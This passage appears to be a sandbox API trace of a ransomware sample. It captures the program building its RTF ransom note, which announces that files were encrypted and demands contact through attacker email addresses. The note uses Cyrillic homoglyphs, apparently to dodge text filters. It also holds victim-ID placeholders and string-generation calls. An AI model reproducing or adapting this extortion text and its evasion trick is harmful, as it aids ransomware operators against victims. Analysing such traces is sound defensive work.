R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D WITH STR\\F1\\LANG1049\\'EE\\F0\\LANG1033 NG \\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LG\\F1\\LANG1049\\'EE\\F0\\LANG1033 RITHMS.\\I0\\PAR\r\n\\I * PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IS N\\F1\\LANG1049\\'EE\\F0\\LANG1033 W\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WITH\\F1\\LANG1049\\'EE\\F0\\LANG1033 UT UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 I\\F1\\LANG1049\\'E0\\F0\\LANG1033 L S\\F1\\LANG1049\\'EE\\F0\\LANG1033 FTW\\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 . Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 IS S\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 UR\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'F3\\F0\\LANG1033 ST\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R.\\PAR\r\n* T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 IFI\\F1\\LANG1049\\'F1\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 UT\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'F1\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 L \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 .\\PAR\r\n* \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 D BUT \\F1\\LANG1049\\'E0\\F0\\LANG1033 FT\\F1\\LANG1049\\'E5\\F0\\LANG1033 R D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N PR\\F1\\LANG1049\\'EE\\'F1\\'E5\\F0\\LANG1033 SS FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WILL B\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 RIGIN\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ST\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 . D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 STRU\\F1\\LANG1049\\'F1\\F0\\LANG1033 TUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E0\\F0\\LANG1033 NG\\F1\\LANG1049\\'E5\\F0\\LANG1033 .\\PAR\r\n* PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E5\\F0\\LANG1033 MPTS T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 URS\\F1\\LANG1049\\'E5\\F0\\LANG1033 LF \\F1\\LANG1049\\'EE\\F0\\LANG1033 R USING THIRD P\\F1\\LANG1049\\'E0\\F0\\LANG1033 RT\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 LS \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N R\\F1\\LANG1049\\'E5\\F0\\LANG1033 SULT IN IRR\\F1\\LANG1049\\'E5\\F0\\LANG1033 V\\F1\\LANG1049\\'EE\\'F1\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'EE\\F0\\LANG1033 SS \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 !\\B\\I0\\PAR\r\n\\PAR\r\nWH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T D\\F1\\LANG1049\\'CE\\F0\\LANG1033 Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U NEED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'CE\\F0\\LANG1033 ?\\PAR\r\n\\B0 FIRST \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U H\\F1\\LANG1049\\'E0\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FIRST \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB \\B\\FS28 BILLWONG73@YAHOO.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 ND \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@PROTONMAIL.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR THIRD \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@AOL.COM\\CF1\\FS24\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\CF1\\UL\\B\\F1\\FS28\\LANG1049\\'C0\\F0\\LANG1033 TTENTI\\F1\\LANG1049\\'CE\\F0\\LANG1033 N!\\PAR\r\n\\ULNONE\\FS26 IF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U W\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\nIT IS R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 LL\\F1\\LANG1049\\'F3\\F0\\LANG1033 IMP\\F1\\LANG1049\\'EE\\F0\\LANG1033 RT\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT B\\F1\\LANG1049\\'E5\\'F1\\'E0\\F0\\LANG1033 US\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 F D\\F1\\LANG1049\\'E5\\F0\\LANG1033 LIV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 MS WITH S\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RVI\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 S!\\PAR\r\nPL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 W\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R IN 24 H\\F1\\LANG1049\\'EE\\F0\\LANG1033 URS, PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 !\\PAR\r\n\\CF2\\FS28 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 K SP\\F1\\LANG1049\\'C0\\F0\\LANG1033 M F\\F1\\LANG1049\\'EE\\F0\\LANG1033 LD\\F1\\LANG1049\\'E5\\F0\\LANG1033 R!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\FS26 * \\I WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 N ENGLISH \\F1\\LANG1049\\'EE\\F0\\LANG1033 R US\\F1\\LANG1049\\'E5\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 F\\F1\\LANG1049\\'E5\\F0\\LANG1033 SSI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L TR\\F1\\LANG1049\\'E0\\F0\\LANG1033 NSL\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\I0\\PAR\r\n\\FS24\\PAR\r\n\\HIGHLIGHT3\\FS28 IN SUBJ\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 T LIN\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR P\\F1\\LANG1049\\'E5\\F0\\LANG1033 RS\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ID: \\B [KID]\\PAR\r\n\\HIGHLIGHT0\\PAR\r\nF\\F1\\LANG1049\\'EE\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 SSUR\\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E0\\'F1\\F0\\LANG1033 H UP T\\F1\\LANG1049\\'EE\\F0\\LANG1033 3 SM\\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 . W\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S F\\F1\\LANG1049\\'EE\\F0\\LANG1033 R FR\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 . \\PAR\r\n\\I\\F1\\FS24\\LANG1049 * \\F0\\LANG1033 \\F1\\LANG1049 \\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S MUST N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\'EE\\F0\\LANG1033 NT\\F1\\LANG1049\\'E0\\F0\\LANG1033 IN \\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F3\\F0\\LANG1033 V\\F1\\LANG1049\\'E0\\F0\\LANG1033 LU\\F1\\LANG1049\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 INF\\F1\\LANG1049\\'EE\\F0\\LANG1033 RM\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 IR T\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 L SIZ\\F1\\LANG1049\\'E5\\F0\\LANG1033 MUST B\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 N 5MB. \\PAR\r\n\\I0\\PAR\r\n\\CF4\\FS26 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'EE\\F0\\LANG1033 N'T W\\F1\\LANG1049\\'EE\\F0\\LANG1033 RR\\F1\\LANG1049\\'F3\\F0\\LANG1033 !\\PAR\r\nB\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N B\\F1\\LANG1049\\'E5\\F0\\LANG1033 REST\\F1\\LANG1049\\'CE\\F0\\LANG1033 RED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'C0\\F0\\LANG1033 Y!\\PAR\r\nW\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H 24/7 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\n\\CF0\\B0\\FS24\\PAR\r\n\\CF5\\B\\FS28 [RDM_STR]\\CF0\\F1\\FS32\\LANG1049\\PAR\r\n\r\n\\PARD\\SA200\\SL240\\SLMULT1\\PAR\r\n}\r\n") returned 0x36fc [0033.903] CharUpperBuffW (in: lpsz="[KID]", cchLength=0x5 | out: lpsz="[KID]") returned 0x5 [0033.903] GetTickCount () returned 0x1153b1d [0033.903] QueryPerformanceCounter (in: lpPerformanceCount=0x390fe2c | out: lpPerformanceCount=0x390fe2c*=17585531623) returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0033.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x390fe08, cbMultiByte=1, lpWideCharStr=0x390edf0, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0033.904] CharUpperBuffW (in: lpsz="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t 